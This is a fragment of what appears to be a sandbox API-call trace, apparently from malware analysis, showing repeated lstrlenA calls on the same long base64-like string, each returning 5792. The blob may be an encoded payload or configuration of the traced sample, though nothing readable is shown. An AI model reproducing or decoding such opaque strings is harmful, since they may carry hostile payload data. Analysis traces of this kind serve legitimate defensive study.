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") returned 5792 [0042.883] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.883] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.883] lstrlenA (lpString="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